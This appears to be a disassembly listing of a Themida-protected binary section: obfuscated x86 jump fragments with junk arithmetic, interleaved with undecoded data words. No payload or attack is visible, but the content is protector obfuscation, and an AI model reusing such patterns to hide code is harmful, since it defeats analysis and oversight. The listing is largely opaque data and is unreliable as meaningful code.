dd 8904EC83h, 74FF2414h, 8F5A0424h, 248B2404h, 0C8B60F24h
dd 629E68h, 241C8900h, 0BA52E389h, 4, 347EEB81h, 0BA522754h
dd 38EC6753h, 1CE9EA81h, 0DAE970C8h, 81FFFFB3h, 4EDh, 242C3300h
dd 0E9242C31h, 0FFFFDD78h, 242C8152h, 6F6538A9h, 83241C8Bh
dd 0BA5204C4h, 4FBB1FA0h, 8104EAC1h, 57171FEAh, 20EA8175h
dd 8146914Dh, 8E38ACEAh, 0C9CA8138h, 513A246Fh, 404726B9h
dd 59CA29CBh, 5A5AD301h, 2EB46852h, 34FF2C9Dh, 0D676E924h
dd 0CB05FFFFh, 1219771h, 24048BC3h, 4C481h, 1C330000h
dd 241C3124h, 0FFF780E9h, 24048BFFh, 5E04C483h, 0E788E981h
dd 0CA29F2CDh, 5644E959h, 3C89FFFFh, 6BE95524h, 50000017h
dd 2B8h, 55EB8100h, 118B311h, 55C381C3h, 0FF18B311h, 0E9582434h
dd 0FFFF8DD1h, 712E958h, 81660000h, 66028ACFh, 0B48BC781h
dd 8BFA0166h, 97E9243Ch
db 91h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550C07: ; CODE XREF: Themida_:0054B987j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
xor edx, 2E5E7B1Eh
sub esp, 4
mov [esp], esi
mov esi, 586595BBh
sub edx, esi
pop esi
xor eax, edx
pop edx
jmp loc_547CE7
; ---------------------------------------------------------------------------
dd 4EC81h, 34890000h, 4BE24h, 0F1010000h, 8124348Bh, 4C4h
dd 0E9555000h, 0FFFFE352h
; ---------------------------------------------------------------------------
loc_550C50: ; CODE XREF: Themida_:00546F2Aj
add dword ptr [esp], 4
pop ebp
push 648Bh
mov [esp], ebx
mov ebx, 4
add ebp, ebx
mov ebx, [esp]
jmp loc_54C771
; ---------------------------------------------------------------------------
dd 4C481h, 14330000h, 80A5E924h, 0C381FFFFh, 759945BFh
dd 416CC381h, 0EAE91B82h
db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550C8B: ; CODE XREF: Themida_:0054CCAEj
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
loc_550C9B: ; CODE XREF: Themida_:0055287Dj
push ebx
push ebx
push ecx
push 7EF93D8Eh
pop ecx
jmp loc_54E354
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 12BB68h, 242C8900h, 6856E589h, 4, 876DE95Eh, 0C89FFFFh
dd 5540E924h, 0C481FFFFh, 4, 0FF60BDE9h, 2C181FFh, 33000000h
dd 72E9240Ch, 0D3FFFF67h, 0E99C242Ch, 0FFFF551Eh, 0F8288A2Ch
dd 535B8A04h, 0FFFD6DE9h, 242489FFh, 4240483h, 4B8505Fh
dd 1000000h, 0BA5258C7h, 411D6107h, 9EFDC281h, 0D701BEE2h
dd 74FF575Ah, 79E90424h
db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550D23: ; CODE XREF: Themida_:00547FF1j
mov [esp], edx
push eax
jmp loc_54F5CB
; ---------------------------------------------------------------------------
loc_550D2C: ; CODE XREF: Themida_:005492DCj
sub esi, 61312717h
inc esi
add esi, 530E18D4h
mov edx, esi
pop esi
sub [edi+24h], edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
push edx
mov edx, esp
add edx, 4
jmp loc_550DBA
; ---------------------------------------------------------------------------
dd 5B0DEE80h, 30566866h, 24048966h, 519768h, 241C8900h
dd 0DC88F388h, 6853665Bh, 68FCh, 88241489h, 5AF788E6h
dd 10E9C7FEh, 46000018h, 17BBF681h, 0E6C13A60h, 0EACE8107h
dd 81795E37h, 0AF65E5EEh, 5EF22905h, 9C64252Dh, 70D12D66h
dd 0F105774Bh, 292C833Ch, 0F3BE9D0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_550DBA: ; CODE XREF: Themida_:00550D57j
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_5518E1
; ---------------------------------------------------------------------------
dw 0EF81h
dd 4A3F6E17h, 0FF79FAE9h, 2DD829FFh, 7D127543h, 133FE9h
dd 4EDC100h, 4C41B951h, 0E9521F77h, 0FFFF8232h
; ---------------------------------------------------------------------------
loc_550DEC: ; CODE XREF: Themida_:00551A49j
pop edx
mov edi, [esp]
jmp loc_548B04
; ---------------------------------------------------------------------------
loc_550DF5: ; CODE XREF: Themida_:00550562j
mov ecx, [esp]
add esp, 4
jmp loc_54FFC9
; ---------------------------------------------------------------------------
loc_550E00: ; CODE XREF: Themida_:005525F4j
mov ecx, [esp]
jmp loc_54C0A0
; ---------------------------------------------------------------------------
loc_550E08: ; CODE XREF: Themida_:00549CE8j
mov edx, 32DE3433h
push 0CD21CBD1h
mov ebx, [esp]
jmp loc_54DD43
; ---------------------------------------------------------------------------
loc_550E1A: ; CODE XREF: Themida_:0054A097j
add esp, 4
sub eax, 17C95629h
mov ebp, [esp]
push ebx
push esp
pop ebx
push esi
mov esi, 4
add ebx, esi
pop esi
add ebx, 4
xchg ebx, [esp]
pop esp
push 664Dh
jmp loc_54FDBE
; ---------------------------------------------------------------------------
loc_550E42: ; CODE XREF: Themida_:005493E5j
push ebx
mov bl, 5Bh
jmp loc_549359
; ---------------------------------------------------------------------------
dw 0EA81h
dd 0E3B12919h, 148BD031h, 8727E924h, 5255FFFFh, 0C281E289h
dd 4, 4EA81h, 14870000h, 3C895C24h, 11C9BF24h, 0E1E90202h
dd 1FFFF69h, 243C8BF9h, 4C481h, 37E90000h
db 5, 2 dup(0)
; ---------------------------------------------------------------------------
loc_550E8B: ; CODE XREF: Themida_:005500A2j
push dword ptr [esp]
pop eax
jmp loc_54C028
; ---------------------------------------------------------------------------
loc_550E94: ; CODE XREF: Themida_:0054D8E7j
pop esp
jmp loc_5489D7
; ---------------------------------------------------------------------------
dw 8B66h
dd 50E92404h, 1FFFFDBh, 0E9015DE9h, 287AE981h, 835D06F0h
dd 48904ECh, 2B824h, 0AAE90000h, 81FFFFEEh, 0FA40C4C7h
dd 0C7815868h, 27532F39h, 0FFC4E2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550ED1: ; CODE XREF: Themida_:0054BD63j
mov eax, [esp]
jmp loc_54CFC6
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0C8CE9h, 0C8B6600h, 0E6895624h, 4C681h, 0EE830000h
dd 0A8E95604h
db 64h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_550EF7: ; CODE XREF: Themida_:0054803Fj
xor esi, eax
xor eax, esi
and eax, 55DF6872h
add eax, 46B47EBBh
xor eax, 4BB49D07h
add edi, eax
mov eax, [esp]
add esp, 4
jmp loc_551DC3
; ---------------------------------------------------------------------------
dw 0E94Ah
dd 2B1h
; ---------------------------------------------------------------------------
loc_550F20: ; CODE XREF: Themida_:00551BF7j
mov ebx, 10692B72h
neg ebx
push ebp
mov ebp, 61D17FA3h
or ebx, ebp
pop ebp
sub ebx, 3ED659BAh
add ebx, 4EFE5A0Bh
jmp loc_54D7AF
; ---------------------------------------------------------------------------
db 59h, 81h, 0EEh
dd 637B5C47h, 0FFACB2E9h, 35F181FFh, 1FBE630h, 0E95559CBh
dd 0FFFFB1AEh, 4CF9C381h, 0E9572BC0h, 0FFFFDBCEh
; ---------------------------------------------------------------------------
loc_550F68: ; CODE XREF: Themida_:00548B05j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
xchg edx, edi
not edx
jmp loc_546D7A
; ---------------------------------------------------------------------------
dd 0B034E950h, 7FE9FFFFh, 68FFFF52h, 1235h, 89240C89h
dd 123768E1h, 3C890000h, 53BDBF24h, 0B850526Ch, 356F73B8h
dd 937ED305h, 642F0D4Bh, 0C1403431h, 0EC8106E0h, 4, 0BA241489h
dd 31A243Fh, 0FF5562E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550FC9: ; CODE XREF: Themida_:0054DFB3j
not ebp
add ebp, 0FD2DEFB0h
sub ebx, ebp
mov ebp, [esp]
add esp, 4
push edx
jmp loc_547F0C
; ---------------------------------------------------------------------------
loc_550FE2: ; CODE XREF: Themida_:00552117j
push edx
sub esp, 4
jmp loc_5481F8
; ---------------------------------------------------------------------------
db 8Bh
dd 5457240Ch, 0FF767EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_550FF5: ; CODE XREF: Themida_:00550548j
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_54FFFA
; ---------------------------------------------------------------------------
db 5Ch, 8Fh, 4
dd 2CD25C24h, 0F7E99C24h, 0BAFFFF51h, 212E3BA6h, 0CBE9D329h
dd 81000003h, 8604246Ch, 16B2D6Bh, 81042474h, 86042444h
dd 0FF6B2D6Bh, 835E2434h, 685804C4h, 3FFCh, 0BD242C89h
dd 52C47280h, 7821F581h, 0E95606ADh, 0FFFF8A69h
; ---------------------------------------------------------------------------
loc_551054: ; CODE XREF: Themida_:00549896j
or ebx, 66041EF2h
xor ebx, 53624D5Ch
add ebx, 0FD90C5C6h
add edi, ebx
pop ebx
shl edi, 8
add edi, 9ADCBB1Fh
mov esi, edi
pop edi
add edi, 24A52BC1h
jmp loc_54D729
; ---------------------------------------------------------------------------
loc_551080: ; CODE XREF: Themida_:00550065j
and ecx, edi
push dword ptr [esp]
pop edi
push edi
jmp loc_54E714
; ---------------------------------------------------------------------------
dd 0D8597C68h, 0BF57583Bh, 3BD85978h, 0E95FF831h, 0FFFFAEF5h
dd 53EB815Bh, 19293CAh, 0BB535BDEh, 4, 565BDE01h, 42474FFh
dd 5224348Bh, 0C2815A54h, 4, 4C281h, 14870000h, 0B127E924h
dd 0FF54FFFFh, 0E95E2434h, 0FFFF5398h, 8104C483h, 4EBh
dd 241C8700h, 0E924248Bh, 0FFFFDF1Fh
; ---------------------------------------------------------------------------
loc_5510F0: ; CODE XREF: Themida_:00549A09j
sub esp, 4
mov [esp], ecx
mov cl, 0E0h
push eax
sub esp, 4
mov [esp], ebx
jmp loc_54E57F
; ---------------------------------------------------------------------------
db 4
dd 1C8B6663h, 87FFE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551112: ; CODE XREF: Themida_:0054845Aj
sub bl, ah
mov eax, [esp]
jmp loc_54E950
; ---------------------------------------------------------------------------
dd 81240C8Bh, 4C4h, 0FB50E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55112A: ; CODE XREF: Themida_:0054B6BEj
push 1
mov edx, [esp]
add esp, 4
and eax, edx
push dword ptr [esp]
jmp loc_54B5B7
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 24148900h, 0FFC743E9h, 241C89FFh, 4D41A9BBh, 8E3C139h
dd 7CF1EB81h, 3BE94727h, 89FFFFCAh, 9FE92404h, 0C1FFFF50h
dd 0E98102E9h, 2A5B77CAh, 0F181D9F7h, 5104708Eh, 95A0F181h
dd 39E9BA05h, 5EFFFFB3h, 83242C8Bh, 474704C4h, 33C78147h
dd 816F0A6Ch, 0A246AEF7h, 401E905h, 34FF0000h, 2434FF24h
dd 4C4835Fh, 0FFBA6EE9h, 1CFDBFFFh, 30E9550Dh, 33FFFF79h
dd 14312414h, 24143324h, 6624248Bh, 9C240CFFh, 0FF5039E9h
dd 0CDC281FFh, 4A54B478h, 0E94AD2F7h, 0FFFFAB14h, 8B243C87h
dd 0D3E92424h
db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5511EB: ; CODE XREF: Themida_:00547BFEj
mov ebx, esp
add ebx, 4
jmp loc_54F4FC
; ---------------------------------------------------------------------------
aXbsC db '!ÁXéÆ~ç',0
db 0E9h, 0ACh, 0B2h
dd 8B66FFFFh, 0FEE92404h
db 89h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55120F: ; CODE XREF: Themida_:0054B567j
add eax, 0ED546252h
push ecx
mov ecx, 241E3F57h
or ecx, 75737C95h
or ecx, 1C833908h
or ecx, 7484456Ah
jmp loc_54C85D
; ---------------------------------------------------------------------------
loc_551231: ; CODE XREF: Themida_:0054B962j
add edi, 4
push ecx
jmp loc_54CBAE
; ---------------------------------------------------------------------------
db 0BDh, 0B5h, 53h
dd 0F58134D0h, 6ED83854h, 0E907E5C1h, 0FFFF93B6h, 0F603EAC0h
dd 0F764E9D2h, 0F66FFFFh, 0C1E902B6h, 81FFFFCDh, 4C4h
dd 24048F00h, 2424D25Ch, 4F94E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551276: ; CODE XREF: Themida_:00547050j
xchg ebp, [esp]
pop esp
jmp loc_54C1E5
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 5F16E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55128A: ; CODE XREF: Themida_:0054A5EBj
xchg bh, cl
jmp loc_54F894
; ---------------------------------------------------------------------------
loc_551291: ; CODE XREF: Themida_:0054F1C9j
mov [esp], ebx
mov ebx, esp
add ebx, 4
push eax
mov eax, 4
jmp loc_54A50D
; ---------------------------------------------------------------------------
db 0FFh
dd 0F6E92C77h
db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5512AF: ; CODE XREF: Themida_:00548950j
xor esi, 0BC0ADC0Ch
sub ebx, esi
pop esi
push edi
jmp loc_548A82
; ---------------------------------------------------------------------------
dw 0D388h
dd 815BDC88h, 4ECh, 241C8900h, 0D988E388h, 0E3E9585Bh
dd 1FFFF97h, 0BA525DE8h, 4, 685AD029h, 5860h, 0FF240489h
dd 58042474h, 0FF7F2DE9h, 242489FFh, 4240481h, 0E9000000h
dd 13F7h, 2C8BE801h, 4C48324h, 0FFA25BE9h, 40478FFFh, 0FFD6F8E9h
dd 2D830DFFh, 0F8E925D4h, 53000012h, 0C37AD3BBh, 7FF0BF23h
dd 96E972F8h
db 63h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551333: ; CODE XREF: Themida_:00551E4Ej
sub ecx, 393B2BE5h
jmp loc_54766D
; ---------------------------------------------------------------------------
dw 1489h
dd 0F8CBBA24h, 0D0310669h, 5524148Bh, 0BF575D54h, 4, 815FFD01h
dd 4EDh, 242C8700h, 97BE9h, 241C8700h, 6824248Bh, 6938h
dd 0BE243489h, 3809EC6Eh, 0FF6BEFE9h, 0C8F681FFh, 0E9116A37h
dd 0FFFF71A8h, 0C102E5C1h, 0C58104EDh, 14D4CE73h, 89EE8956h
dd 0FDE9E9F7h, 0C800FFFFh, 0E959A704h, 0FFFF7A64h
; ---------------------------------------------------------------------------
loc_5513A8: ; CODE XREF: Themida_:005498A5j
push 715Eh
mov [esp], ecx
mov ecx, 6091195h
push ebp
mov ebp, 20E24C51h
or ecx, ebp
jmp loc_54A298
; ---------------------------------------------------------------------------
dw 0C181h
dd 2, 0FF8209E9h, 242C8BFFh, 81E38953h, 4C3h, 4C38300h
dd 5C241C87h, 295AD329h, 5F85E9C3h, 148BFFFFh, 55E95624h
dd 0FF00000Dh, 34FF3877h, 0EC835924h, 241C8904h, 0C381E389h
dd 4, 0A2E95351h, 52FFFF99h, 0F277DEBAh, 0FFEA8374h, 8C19E956h
dd 159FFFFh, 866CE9D0h, 1489FFFFh, 2B58BA24h, 656837F7h
dd 0E93C80EAh, 0FFFFA825h, 8701EB83h, 57CA81DAh, 53218979h
dd 6A6593BBh, 7644E920h, 0C981FFFFh, 681444E1h, 0E902E9C1h
dd 0FFFF8BCDh, 4240481h, 0E9000000h, 0FFFFE96Fh
; ---------------------------------------------------------------------------
loc_551468: ; CODE XREF: Themida_:00547B65j
push ecx
push ebx
mov ebx, 59766195h
sub ebx, 54775AC2h
jmp loc_54C35B
; ---------------------------------------------------------------------------
loc_55147A: ; CODE XREF: Themida_:0054A49Cj
or dh, 0B8h
inc dh
dec dh
not dh
jmp loc_54E41B
; ---------------------------------------------------------------------------
loc_551488: ; CODE XREF: Themida_:005526F6j
sub edx, 24A216E7h
sub edx, ecx
add edx, 24A216E7h
jmp loc_548CDD
; ---------------------------------------------------------------------------
db 66h
dd 0C5B35350h, 0F380D3F6h, 25F380A6h, 5BD888h, 885866C7h
dd 0C8FE5BF8h, 0B304D8F6h, 88C78853h, 0C0585BF9h, 0F18003E1h
dd 80D9F611h, 0A72C04F1h, 0FFFECDE9h, 0E9EB00FFh, 0FFFFBEE2h
; ---------------------------------------------------------------------------
loc_5514D8: ; CODE XREF: Themida_:005472CBj
add edi, 4
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
mov edi, [esp]
add esp, 4
not edi
push 23AAh
mov [esp], eax
jmp loc_550567
; ---------------------------------------------------------------------------
dw 5425h
dd 0E9213F15h, 0FFFFA858h, 74FF535Fh, 8F5B0424h, 248B2404h
dd 66E9F624h, 53CCB60Fh, 5356E389h, 0D4077BBh, 4815320h
dd 0B5554224h, 7D37E967h, 0CB01FFFFh, 241C8759h, 11E9555Ch
dd 68FFFF72h, 468Bh, 0E9241C89h, 0A07h, 8B2434FFh, 54562404h
dd 8324348Bh, 0C68104C4h, 4, 4C681h, 34330000h, 24343124h
dd 5C243433h, 56E28952h, 4BEh, 3DC28100h, 120730Dh, 3DEA81F2h
dd 0E920730Dh, 0FFFFA771h, 4C481h, 0D3880000h, 4FE9535Ah
dd 81FFFFF1h, 26EA18EFh, 0E9F801D5h, 0FFFF8584h
; ---------------------------------------------------------------------------
loc_5515B0: ; CODE XREF: Themida_:0054CEC9j
push ebx
mov ebx, 0EBD62B64h
push ebx
pop edi
pop ebx
add edi, ebp
mov ebp, [esp]
add esp, 4
sub dword ptr [esp+4], 2D9C44D6h
add [esp+4], edi
add dword ptr [esp+4], 2D9C44D6h
mov edi, [esp]
add esp, 4
pop eax
sub eax, 297746F7h
mov edx, [esp]
add esp, 4
jmp loc_54E1E2
; ---------------------------------------------------------------------------
dw 34FFh
dd 89575A24h, 4C781E7h, 81000000h, 4C7h, 243C8700h, 6624248Bh
dd 8366DEF7h, 816601EEh, 666869EEh, 6671322Dh, 49E9F001h
dd 57000006h, 726B4ABFh, 0E9FB0156h, 0FFFF963Bh, 89F08950h
dd 0F577E9C1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55163A: ; CODE XREF: Themida_:0054F1F7j
xchg ecx, edx
not ecx
xchg ecx, edx
jmp loc_548D5C
; ---------------------------------------------------------------------------
db 5Bh, 80h, 0C6h
dd 5AF32839h, 63C38059h, 0ADEB80h, 7276E9C3h, 34FFFFFFh
dd 0AE685824h, 8900001Bh, 1F68240Ch, 89000076h, 4812424h
dd 424h, 240C8B00h, 4C481h, 0C1810000h, 4, 4C181h, 0E9510000h
dd 0FFFF822Bh
; ---------------------------------------------------------------------------
loc_551690: ; CODE XREF: Themida_:00549E5Cj
push edi
mov edi, 7525DA4h
jmp loc_54BA28
; ---------------------------------------------------------------------------
db 8Fh
dd 55E92404h
db 5Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5516A3: ; CODE XREF: Themida_:0054AB46j
mov ecx, 456B1936h
neg ecx
jmp loc_549BAE
; ---------------------------------------------------------------------------
db 54h
dd 0C7BA525Bh, 0E92CFC58h, 0FFFF7258h, 6A0CBD55h, 0F581466Bh
dd 1A087D6Ch, 4508E5C1h, 0FF8425E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5516D1: ; CODE XREF: Themida_:0054A1C5j
sub ebp, edi
pop edi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_54EC3B
; ---------------------------------------------------------------------------
dw 1431h
dd 24143324h, 4A0E9h, 4C48100h, 88000000h, 0D30458C7h
dd 0FF57A6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5516FD: ; CODE XREF: Themida_:0054A44Bj
pop ecx
not ecx
add ecx, 2A2336EAh
add ecx, 0BABCC1C9h
mov esi, ecx
pop ecx
add eax, 76C9268Ch
jmp loc_54B50B
; ---------------------------------------------------------------------------
db 30h, 0DAh, 5Bh
dd 0F8E9D730h, 31000010h, 14332414h, 34FF5C24h, 89505924h
dd 17A668E0h, 0C2E90000h, 53FFFFACh, 0CD658368h, 0E3815B3Bh
dd 57D539A8h, 0FF5560E9h, 81E289FFh, 4C2h, 4C28100h, 87000000h
dd 248B2414h, 0D95DE924h, 0CA81FFFFh, 3FA26229h, 0FAE9D2F7h
dd 66FFFFECh, 83240C8Bh, 8BE902C4h, 0BBFFFF4Ah, 3F2366EBh
dd 5BAFF381h, 0DE31CF37h, 5A1E2D5Bh, 0F0012282h, 0FF958BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551799: ; CODE XREF: Themida_:00547253j
mov esi, [esp]
add esp, 4
sub esp, 4
jmp loc_548A29
; ---------------------------------------------------------------------------
dw 0F6B8h
dd 947CF20h, 0DAF7E9C1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5517B6: ; CODE XREF: Themida_:0054659Aj
mov esi, [esp]
jmp loc_54C963
; ---------------------------------------------------------------------------
dw 0BA05h
dd 0E9439A0Fh, 0FFFFA981h
; ---------------------------------------------------------------------------
loc_5517C8: ; CODE XREF: Themida_:00549B2Fj
push small 2B4Dh
mov [esp], ax
push ecx
push ebx
mov bl, 0Bh
jmp loc_54CCF0
; ---------------------------------------------------------------------------
loc_5517D9: ; CODE XREF: Themida_:00546378j
and edi, esi
pop esi
and edi, 85420CEh
neg edi
add edi, 91D747Fh
jmp loc_54A24F
; ---------------------------------------------------------------------------
db 53h
dd 4BBh, 0E9DF0100h, 0FFFF65DFh, 3C8BFE01h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xchg esi, [esp]
mov esp, [esp]
bts [esp], ax
pushf
jmp loc_54620A
; ---------------------------------------------------------------------------
dw 3489h
dd 2BE24h, 0C7810000h, 62FD5470h, 0FFBF9DE9h, 81D301FFh
dd 39138EEBh, 2434FF42h, 4C4815Ah, 83000000h, 1C3302C3h
dd 9CA8E924h, 0EBC1FFFFh, 0E3C14302h, 7EC38107h, 0E9656705h
dd 0FFFF6257h, 49A0E9C3h, 0F281FFFFh, 76C00F55h, 0C2E98158h
dd 0E978AA4Ch, 0FFFF80BEh, 315F685Eh, 1C890000h, 35A9BB24h
dd 686D6Ch, 29000000h, 9E9241Ch, 81FFFFF8h, 423D32F5h
dd 0E9EA0148h, 0FFFF8BFDh
; ---------------------------------------------------------------------------
loc_5518A4: ; CODE XREF: Themida_:0054FAA8j
not dword ptr [esp]
pop esi
jmp loc_54878E
; ---------------------------------------------------------------------------
db 5Eh, 0E9h, 4Dh
dd 33FFFFDDh, 2C31242Ch, 242C3324h, 240C895Ch, 0ED8040B5h
dd 2E5C0EEh, 8904EC83h, 39B7241Ch, 0F6CCE780h, 2EC83D7h
dd 24048966h, 0FFAC97E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5518E1: ; CODE XREF: Themida_:00550DC1j
mov [esp], ebx
jmp loc_54D8D5
; ---------------------------------------------------------------------------
db 20h, 0FDh, 5Bh
dd 0F580D5F6h, 59EB0073h, 0FFC0B60Fh, 0EC838734h, 24348904h
dd 0FFC03CE9h, 4900E9FFh, 0CB01FFFFh, 0E9240C8Bh, 0FFFF647Eh
; ---------------------------------------------------------------------------
loc_551914: ; CODE XREF: Themida_:0055222Dj
add ebx, 0FAAA26B0h
mov ecx, ebx
pop ebx
and edi, ecx
jmp loc_5479E1
; ---------------------------------------------------------------------------
dd 0FF48E1E9h, 732DBBFFh, 2DE9273Eh, 89FFFF5Bh, 0E2892414h
dd 0FF939FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55193D: ; CODE XREF: Themida_:0054C77Aj
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
push 6159h
mov [esp], esi
mov esi, 48B46AE1h
push ebp
mov ebp, 652104C3h
xor ebp, 46DE4ABAh
neg ebp
xor ebp, 4FBA2AB1h
not ebp
inc ebp
add ebp, 0D3009F88h
and esi, ebp
pop ebp
xor esi, 52EB7072h
inc esi
push edx
mov edx, 3AA60CA6h
jmp loc_54A43C
; ---------------------------------------------------------------------------
db 5Ch, 89h, 0Ch
dd 5E33E924h, 0EC83FFFFh, 240C8904h, 2C605868h, 1905591Bh
dd 10F1664h, 48B668C8h, 3C890000h, 5D03BF24h, 0EFC171E7h
dd 0F7CF8708h, 4EC81D1h, 89000000h, 5F51243Ch, 0EF13E959h
dd 0F029FFFFh, 2404875Eh, 80EE95Ch, 34FF0000h, 0A6ADE924h
dd 0BE66FFFFh, 14E94BB7h, 89FFFF75h, 4C281E2h, 81000000h
dd 4EAh, 24148700h, 2434895Ch, 16417CBEh, 81D6F760h, 7700C5CEh
dd 7E6C16Eh, 8E6C146h, 7F02BB53h, 18E9209Ch
db 8Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551A17: ; CODE XREF: Themida_:0054A329j
mov esi, [esp]
add esp, 4
and eax, edi
mov edi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
shr eax, 12h
xor eax, ecx
xor eax, edx
xor edx, eax
xor eax, edx
push 690h
mov [esp], edx
push edi
jmp loc_550DEC
; ---------------------------------------------------------------------------
dw 15Fh
dd 0E9042474h, 0FFFF55BBh
; ---------------------------------------------------------------------------
loc_551A58: ; CODE XREF: Themida_:00551D85j
mov ebp, 31290B1Eh
add ebp, 1D79FCD9h
jmp loc_549893
; ---------------------------------------------------------------------------
loc_551A68: ; CODE XREF: Themida_:0054F20Bj
add esp, 4
jmp loc_54E981
; ---------------------------------------------------------------------------
db 0FFh
dd 148B2434h, 4C48324h, 780C68h, 24048900h, 0BE56E089h
dd 4, 835EF001h, 48704C0h, 24248B24h, 8904EC83h, 0E6892434h
dd 4C681h, 0C6810000h, 4, 0FF4DE0E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551AB1: ; CODE XREF: Themida_:00546744j
not edx
shl edx, 1
jmp loc_54BC9A
; ---------------------------------------------------------------------------
dw 0C181h
dd 0FFDFFE03h, 31F0BE56h, 74013680h, 815E0824h, 0A9042444h
dd 1441B4Fh, 8104244Ch, 0A904246Ch, 81441B4Fh, 0F004246Ch
dd 59368031h, 5E2434FFh, 5004C483h, 81E68956h, 4C6h, 4EE8100h
dd 87000000h, 0F7E92434h, 51FFFFE3h, 68143EB9h, 0F8E9813Eh
dd 0E93CB9B8h, 0FFFF54DEh, 4EC81ADh, 89000000h, 0BF57241Ch
dd 7F9A6ADFh, 0D1E9FB89h
db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551B2F: ; CODE XREF: Themida_:0054D731j
pop esi
jmp loc_552288
; ---------------------------------------------------------------------------
db 0B7h, 0DAh, 0F6h
dd 5AEF80DFh, 6804EFC0h, 124Bh, 68240489h, 751Fh, 0B7241C89h
dd 5BF888C2h, 0FF9D4CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551B59: ; CODE XREF: Themida_:00552143j
xor eax, ebp
xor ebp, eax
xor eax, ebp
jmp loc_54E3FC
; ---------------------------------------------------------------------------
loc_551B64: ; CODE XREF: Themida_:0054E95Fj
mov [esp], dx
jmp loc_54B6AB
; ---------------------------------------------------------------------------
db 89h, 34h, 24h
dd 0C681E689h, 4, 25068h, 241C8900h, 4BBh, 5BDE0100h, 0FFB2F8E9h
dd 24248BFFh, 0DC168h, 85CFE900h, 0E95BFFFFh, 0FFFF81ADh
dd 5A2414F6h, 0FE07C280h, 9DC4E9CAh, 0C481FFFFh, 4, 4BA52h
dd 0BE560000h, 1CAE153Ch, 15EF301h, 3CEB81D3h, 5A1CAE15h
dd 0B405E957h, 4B8FFFFh, 1000000h, 0BBB4E9C7h, 2CACFFFFh
dd 0E951665Eh, 5EBh
; ---------------------------------------------------------------------------
loc_551BE8: ; CODE XREF: Themida_:0054D454j
mov eax, 1Ch
add eax, edi
push 1013h
mov [esp], ebx
jmp loc_550F20
; ---------------------------------------------------------------------------
dd 4C281h, 0DEE90000h
db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551C07: ; CODE XREF: Themida_:0054CE37j
not dword ptr [esp]
pop edx
not edx
add edx, 0E1D2B5D0h
sub eax, edx
mov edx, [esp]
add esp, 4
push dword ptr [edi+eax*4]
jmp loc_548794
; ---------------------------------------------------------------------------
dw 0EF01h
dd 0E9242C8Bh, 621h, 0FF2434FFh, 0C8B2434h, 4C48124h, 0E9000000h
dd 0FFFF93C9h, 0C1881EB0h, 4FB758h, 0A7E959CFh, 54FFFFAAh
dd 0EFD6E959h, 0ABE9FFFFh, 54FFFF45h, 9FD9E95Dh, 0E953FFFFh
dd 0FFFFDBA6h, 71320566h, 8324348Bh, 815704C4h, 4ECh, 240C8900h
dd 2A336866h, 41665966h, 1C18166h, 0C1816600h, 686639CEh
dd 89661C8Fh, 0BB66241Ch, 29663390h, 0A90AE9D9h, 0EBC1FFFFh
dd 36EB8102h, 812BFD3Fh, 2E3BA6C3h, 52D30121h, 0FFF356E9h
dd 3FCA81FFh, 8146D96Bh, 5E7AFAC2h, 5AD1011Ch, 36E981h
dd 0C181258Fh, 69EC65A2h, 0E902E9C1h, 0FFFF5629h, 2404895Ch
dd 5352E089h, 342D19BBh, 1C38306h, 0FFCF6EE9h, 3CF12DFFh
dd 0D1052C83h, 5774B70h, 669C6425h, 61C3E95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551D0A: ; CODE XREF: Themida_:0054FEA1j
pop esp
mov [esp], edx
push 4D972301h
mov edx, [esp]
add esp, 4
push eax
mov eax, 2EAB7579h
neg eax
and eax, 29245956h
shr eax, 7
sub eax, 108465E6h
jmp loc_54BA8D
; ---------------------------------------------------------------------------
dw 489h
